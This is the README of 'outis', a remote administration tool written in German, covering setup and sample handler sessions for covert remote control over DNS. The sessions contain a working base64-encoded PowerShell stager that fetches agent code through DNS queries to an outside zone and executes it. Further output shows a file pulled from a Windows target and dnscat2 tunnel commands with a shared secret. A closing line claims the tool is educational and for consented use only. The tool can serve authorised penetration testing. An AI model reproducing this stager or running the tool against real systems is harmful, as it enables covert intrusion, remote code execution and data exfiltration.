
outis ist ein benutzerdefiniertes Remote Administration Tool (RAT) oder so ähnlich. Es wurde entwickelt, um verschiedene Transportmethoden (wie DNS) und Plattformen (wie Powershell) zu unterstützen.
outis ist ein benutzerdefiniertes Remote Administration Tool (RAT) oder so ähnlich. Denken Sie an Meterpreter oder Empire-Agent. Der Fokus dieses Tools liegt jedoch weder auf einem Exploit-Toolkit (es gibt keine Exploits) noch auf der dauerhaften Verwaltung von Zielen. Der Fokus liegt auf der Kommunikation zwischen Server und Zielsystem sowie auf Dateiübertragung, Socket-Weitergabe, Shell-Spawning usw. unter Verwendung verschiedener Methoden und Plattformen.
Der Zyklop Polyphem in Homers Odyssee hatte einige Probleme mit der Namensauflösung. Als er nach Odysseus' Namen fragte, sagte ihm der Hacker, dass er „Outis“ heißt, was im Altgriechischen „Niemand“ bedeutet. Als Polyphem später schrie, dass Niemand ihn töten wolle, kam seltsamerweise keine Hilfe.
Mein Dank gilt Marcel für die Erinnerung an dieses wunderbare Stück klassischer Erzählkunst.
Archlinux-Benutzer können die folgenden Pakete installieren:
In anderen Distributionen können die Namen abweichen, zum Beispiel gibt es ein Modul namens crypto und ein Modul namens pycrypto. Wir benötigen das letztere.
Ältere Versionen könnten ebenfalls Probleme verursachen:
$ python3 -c 'import OpenSSL; print(OpenSSL.version.__version__)'
Sie können ganz einfach eine Python Virtual Environment einrichten:
$ virtualenv outis-venv
$ source ./outis-venv/bin/activate
(outis-venv) $ pip install progressbar2 dnspython pycrypto pyopenssl
Dies führt zu folgender Paketliste, die bei mir zu funktionieren scheint:
$ pip freeze
appdirs==1.4.3
asn1crypto==0.22.0
cffi==1.10.0
cryptography==1.8.1
dnspython==1.15.0
idna==2.5
packaging==16.8
progressbar2==3.18.1
pycparser==2.17
pycrypto==2.6.1
pyOpenSSL==16.2.0
pyparsing==2.2.0
python-utils==2.1.0
six==1.10.0
Klonen Sie dieses Git mit dem rekursiven Flag, um auch die Submodule im Ordner thirdpartytools zu klonen:
git clone --recursive ...
Der Handler läuft mit Python 3. Installieren Sie seine Abhängigkeiten und führen Sie ihn aus. Er generiert Stager, Agents und alles andere für Sie.
Um niedrige Ports ohne Root-Rechte zu binden, sollten Sie einen Capability-Wrapper in Betracht ziehen.
Der Download einer Datei mittels gestaffeltem DNS-Transport mit der POWERSHELL-Plattform könnte wie folgt aussehen:
$ outis
outis> set TRANSPORT DNS
outis> set ZONE zfs.sy.gs
outis> set AGENTDEBUG TRUE
outis> info
[+] Optionen für den Handler:
Name Wert Erforderlich Beschreibung
----------------- ---------- -------- -----------------------------------------------------------------
TRANSPORT DNS True Kommunikationsweg zwischen Agent und Handler (Optionen: REVERSETCP,
DNS)
CHANNELENCRYPTION TLS True Verschlüsselungsprotokoll im Transport (Optionen: NONE, TLS)
PLATFORM POWERSHELL True Plattform des Agent-Codes (Optionen: POWERSHELL)
PROGRESSBAR TRUE True Fortschrittsbalken für Upload/Download anzeigen? (nur wenn das
entsprechende Modul nicht gedebuggt wird) (Optionen: TRUE, FALSE)
[+] Optionen für das TRANSPORT-Modul DNS:
Name Wert Erforderlich Beschreibung
--------- ----------- -------- ------------------------------------------------------------------------
ZONE zfs.sy.gs True DNS-Zone für die Bearbeitung von Anfragen
LHOST 0.0.0.0 True Interface-IP zum Abhören
LPORT 53 True UDP-Port zum Abhören für DNS-Server
DNSTYPE TXT True DNS-Typ für die Verbindung (nur Stager; der Agent zählt alle unterstützten
Typen selbst auf) (Optionen: TXT, A)
DNSSERVER False IP-Adresse des DNS-Servers, der für alle Abfragen kontaktiert werden soll
[+] Optionen für das PLATFORM-Modul POWERSHELL:
Name Wert Erforderlich Beschreibung
-------------------- -------------------------- -------- ----------------------------------------------
STAGED TRUE True Ist die Kommunikation gestaffelt oder nicht?
(Optionen: TRUE, FALSE)
STAGEENCODING TRUE True Soll der gestaffelte Agent in codierter Form
gesendet werden (Verschleierung, nicht für
Sicherheit!) (Optionen: TRUE, FALSE)
STAGEAUTHENTICATION TRUE True Soll der Stager den Agent-Code vor der
Ausführung verifizieren (RSA-Signaturprüfung
mit Zertifikat-Pinning) (Optionen: TRUE,
FALSE)
STAGECERTIFICATEFILE $TOOLPATH/data/outis.pem False Dateipfad einer PEM-Datei mit sowohl RSA-Schlüssel
als auch Zertifikat zum Signieren und Verifizieren
des gestaffelten Agents (Sie können ein
selbstsigniertes Zertifikat mit dem Skript
gencert.sh generieren)
AGENTTYPE DEFAULT True Definiert, welcher Agent verwendet werden soll
(der Standard-Outis-Agent für diese Plattform
oder eine von uns unterstützte Drittanbieter-
Software) (Optionen: DEFAULT, DNSCAT2,
DNSCAT2DOWNLOADER)
TIMEOUT 9 True Anzahl der Sekunden, die auf jede Anfrage gewartet
werden soll (derzeit nur von DNS-Stager unterstützt)
RETRIES 2 True Wiederholen Sie jede Anfrage so oft
(derzeit nur von DNS-Stager unterstützt)
AGENTDEBUG TRUE True Soll der Agent Debug-Meldungen ausgeben und
protokollieren (Optionen: TRUE, FALSE)
outis> generatestager
[+] Verwenden Sie den folgenden Stager-Code:
powershell.exe -Enc JAByAD0ARwBlAHQALQBSAGEAbgBkAG8AbQA7ACQAYQA9ACIAIgA7ACQAdAA9ADAAOwBmAG8AcgAoACQAaQA9ADAAOwA7
ACQAaQArACsAKQB7ACQAYwA9ACgAWwBzAHQAcgBpAG4AZwBdACgASQBFAFgAIAAiAG4AcwBsAG8AbwBrAHUAcAAgAC0AdAB5AHAAZQA9AFQAWA
BUACAALQB0AGkAbQBlAG8AdQB0AD0AOQAgAHMAJAAoACQAaQApAHIAJAAoACQAcgApAC4AegBmAHMALgBzAHkALgBnAHMALgAgACIAKQApAC4A
UwBwAGwAaQB0ACgAJwAiACcAKQBbADEAXQA7AGkAZgAoACEAJABjACkAewBpAGYAKAAkAHQAKwArAC0AbAB0ADIAKQB7ACQAaQAtAC0AOwBjAG
8AbgB0AGkAbgB1AGUAOwB9AGIAcgBlAGEAawA7AH0AJAB0AD0AMAA7ACQAYQArAD0AJABjADsAfQAkAGEAPQBbAEMAbwBuAHYAZQByAHQAXQA6
ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYQApADsAJABiAD0AJABhAC4ATABlAG4AZwB0AGgAOwAkAGYAcAA9ACIAWA
B4AEkAMgArAGUAQgBoAGUAUgBMAFMATQBuAHIAVQBNAFgAbgBnAHIARABTAGQATwAyAGQAOAAwAGMAZAB2AHcAcwBKAGMAYwBGAEIAbgAvAGYA
LwB3AEoATwBpAEIAVAA4AGIATwA2AHAAZgBXAFgAdwBwAEUATwBQAFAAUgBsAFAAdgBnAE8AbgBlAGcAYwBpAE8AYgBPAGEAZABOAFAAVQBxAH
AAZgBRAD0APQAiADsAJABpAD0AMAA7ACQAYQA9ACQAYQB8ACUAewAkAF8ALQBiAFgAbwByACQAZgBwAFsAJABpACsAKwAlACQAZgBwAC4ATABl
AG4AZwB0AGgAXQB9ADsAJABwAGsAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB0AHIAaQBuAGcAKAAkAGEALAAwACwANwA1ADUAKQA7ACQAcw
BpAGcAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB0AHIAaQBuAGcAKAAkAGEALAA3ADUANQAsADYAOAA0ACkAOwAkAHMAPQBOAGUAdwAtAE8A
YgBqAGUAYwB0ACAAUwB0AHIAaQBuAGcAKAAkAGEALAAxADQAMwA5ACwAKAAkAGIALQAxADQAMwA5ACkAKQA7ACQAcwBoAGEAPQBOAGUAdwAtAE
8AYgBqAGUAYwB0ACAAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBTAEgAQQA1ADEAMgBNAGEAbgBhAGcAZQBk
ADsAaQBmACgAQAAoAEMAbwBtAHAAYQByAGUALQBPAGIAagBlAGMAdAAgACQAcwBoAGEALgBDAG8AbQBwAHUAdABlAEgAYQBzAGgAKAAkAHAAaw
AuAFQAbwBDAGgAYQByAEEAcgByAGEAeQAoACkAKQAgACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIA
aQBuAGcAKAAkAGYAcAApACkAIAAtAFMAeQBuAGMAVwBpAG4AZABvAHcAIAAwACkALgBMAGUAbgBnAHQAaAAgAC0AbgBlACAAMAApAHsAIgBFAF
IAUgBPAFIAMQAiADsARQB4AGkAdAAoADEAKQB9ADsAJAB4AD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5
AHAAdABvAGcAcgBhAHAAaAB5AC4AUgBTAEEAQwByAHkAcAB0AG8AUwBlAHIAdgBpAGMAZQBQAHIAbwB2AGkAZABlAHIAOwAkAHgALgBGAHIAbw
BtAFgAbQBsAFMAdAByAGkAbgBnACgAJABwAGsAKQA7AGkAZgAoAC0ATgBvAHQAIAAkAHgALgBWAGUAcgBpAGYAeQBEAGEAdABhACgAJABzAC4A
VABvAEMAaABhAHIAQQByAHIAYQB5ACgAKQAsACIAUwBIAEEANQAxADIAIgAsAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAG
UANgA0AFMAdAByAGkAbgBnACgAJABzAGkAZwApACkAKQB7ACIARQBSAFIATwBSADIAIgA7AEUAeABpAHQAKAAyACkAfQA7ACIARwBPAEEARwBF
AE4AVAAiADsASQBFAFgAIAAkAHMAOwA=
outis> run
[+] DNS hört auf 0.0.0.0:53
[+] Sende gestaffelten Agent (34332 Bytes)...
100% (184 von 184) |########################################################| Verstrichene Zeit: 0:00:16 Zeit: 0:00:16
[+] Staging abgeschlossen
[+] Warte auf Verbindung und TLS-Handshake...
[+] Erste Verbindung mit neuem Agent gestartet
[+] Upgrade auf TLS abgeschlossen
outis session> [+] AGENT: Hallo vom Agent
outis session> download C:\testfile.txt /tmp/out.txt
[+] Initiiere Download der entfernten Datei C:\testfile.txt in die lokale Datei /tmp/out.txt
[+] Agent meldet eine Größe von 3295 Bytes für Kanal 1
100% (3295 von 3295) |######################################################| Verstrichene Zeit: 0:00:00 Zeit: 0:00:00
[+] 3295 Bytes in Datei /tmp/out.txt geschrieben
outis session> exit
Möchten Sie die Sitzung wirklich beenden und die Verbindung schließen [j/N]? j
outis> exit
Oder vielleicht möchten wir dnscat2 für den eigentlichen Einsatz verwenden und outis nur zum Staging nutzen:
$ outis
outis> set TRANSPORT DNS
outis> set AGENTTYPE DNSCAT2
outis> set ZONE zfs.sy.gs
outis> run
[+] DNS hört auf 0.0.0.0:53
[+] Sende gestaffelten Agent (406569 Bytes)...
100% (2185 von 2185) |#######################################################| Verstrichene Zeit: 0:01:17 Zeit: 0:01:17
[+] Staging abgeschlossen
[+] Starte dnscat2 zur Verwaltung der eigentlichen Verbindung
Neues Fenster erstellt: 0
Neues Fenster erstellt: crypto-debug
Willkommen bei dnscat2! Einige Dokumentationen sind möglicherweise veraltet.
auto_attach => false
history_size (für neue Fenster) => 1000
Sicherheitsrichtlinie geändert: Alle Verbindungen müssen verschlüsselt und authentifiziert sein
Neues Fenster erstellt: dns1
Starte Dnscat2 DNS-Server auf 0.0.0.0:53
[domains = zfs.sy.gs]...
Angenommen, Sie haben einen autoritativen DNS-Server, können Sie den Client
überall mit dem Folgenden ausführen (--secret ist optional):
./dnscat --secret=muzynL9ofNW+vymbGMLmi1W1QOT7jEJNYcCRZ1wy5fzTf1Y3epy1RuO7BcHJcIsBvGsZW9NvmQBUSVmUXMCaTg== zfs.sy.gs
Um direkt mit dem Server ohne Domainnamen zu sprechen, führen Sie aus:
./dnscat --dns server=x.x.x.x,port=53 --secret=muzynL9ofNW+vymbGMLmi1W1QOT7jEJNYcCRZ1wy5fzTf1Y3epy1RuO7BcHJcIsBvGsZW9NvmQBUSVmUXMCaTg==
Natürlich müssen Sie <server> selbst herausfinden! Clients
werden sich direkt über UDP-Port 53 verbinden.
dnscat2> Neues Fenster erstellt: 1
Sitzung 1 Sicherheit: VERSCHLÜSSELT UND VERIFIZIERT!
(Die Sicherheit hängt von der Stärke Ihres vorab geteilten Geheimnisses ab!)
dnscat2> sessions
0 :: main [aktiv]
crypto-debug :: Debug-Fenster für Krypto-Zeug [*]
dns1 :: DNS-Treiber läuft auf 0.0.0.0:53 domains = zfs.sy.gs [*]
1 :: command (feynman-win7) [verschlüsselt und verifiziert] [*]
dnscat2> session -i 1
Neues Fenster erstellt: 1
history_size (session) => 1000
Sitzung 1 Sicherheit: VERSCHLÜSSELT UND VERIFIZIERT!
(Die Sicherheit hängt von der Stärke Ihres vorab geteilten Geheimnisses ab!)
Dies ist eine Befehlssitzung!
Das bedeutet, Sie können einen dnscat2-Befehl wie
'ping' eingeben! Eine vollständige Liste der Clients finden Sie mit 'help'.
command (feynman-win7) 1> download c:/testfile.txt /tmp/out.txt
Versuche, c:/testfile.txt nach /tmp/out.txt herunterzuladen
3295 Bytes von c:/testfile.txt nach /tmp/out.txt geschrieben!
command (feynman-win7) 1> exit
Eingabe-Thread beendet
Dieses Projekt wurde inspiriert von (und hat schamlos Teile seines Codes übernommen von):
Empire:
Metasploit:
ReflectiveDLLInjection:
p0wnedShell:
dnscat2:
dnsftp
Nutzung auf eigene Gefahr. Nicht ohne vollständige Zustimmung aller Beteiligten verwenden. Nur für Bildungszwecke.